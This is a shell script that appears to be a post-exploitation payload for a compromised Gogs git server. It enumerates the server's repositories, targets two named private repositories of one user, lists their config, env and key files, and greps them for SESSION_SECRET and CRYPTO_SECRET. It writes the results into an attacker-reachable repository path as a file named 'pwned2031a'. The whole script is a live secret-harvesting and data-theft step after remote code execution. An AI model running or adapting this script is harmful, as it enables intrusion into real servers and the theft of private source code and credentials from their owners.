#!/bin/sh
OUT=/data/gogs/data/tmp/local-r/116/nslxits0yu/rce-lxits0yu.git
R=/data/git/gogs-repositories
{
echo "=== round2031a $(date -u) ==="
id
echo "--- zoujiajian dir ---"
ls -la $R/zoujiajian/ 2>/dev/null
echo "--- all repo sizes (MB) ---"
du -sm $R/*/*.git 2>/dev/null | sort -n | tail -50
echo "--- gogs data ---"
ls -la /data/gogs/data/ 2>/dev/null
for r in zoujiajian/dump.git zoujiajian/netflix-code.git; do
  GD=$R/$r
  echo "##### SCAN $r"
  [ -d "$GD" ] || { echo MISSING; continue; }
  du -sm "$GD"
  echo "-- refs --"; git --git-dir="$GD" for-each-ref 2>/dev/null | head -20
  echo "-- log --"; git --git-dir="$GD" log --all --oneline 2>/dev/null | head -20
  echo "-- HEAD files first 120 --"; git --git-dir="$GD" ls-tree -r --name-only HEAD 2>/dev/null | head -120
  echo "-- HEAD env/compose/config files --"
  git --git-dir="$GD" ls-tree -r --name-only HEAD 2>/dev/null | grep -iE "env|compose|deploy|secret|conf|ya?ml|key" | head -60
  echo "-- git grep secrets on HEAD --"
  git --git-dir="$GD" grep -i -n -e "SESSION_SECRET" -e "CRYPTO_SECRET" HEAD 2>/dev/null | head -20
  echo "##### DONE $r"
done
echo "=== end 2031a ==="
} > $OUT/pwned2031a 2>&1
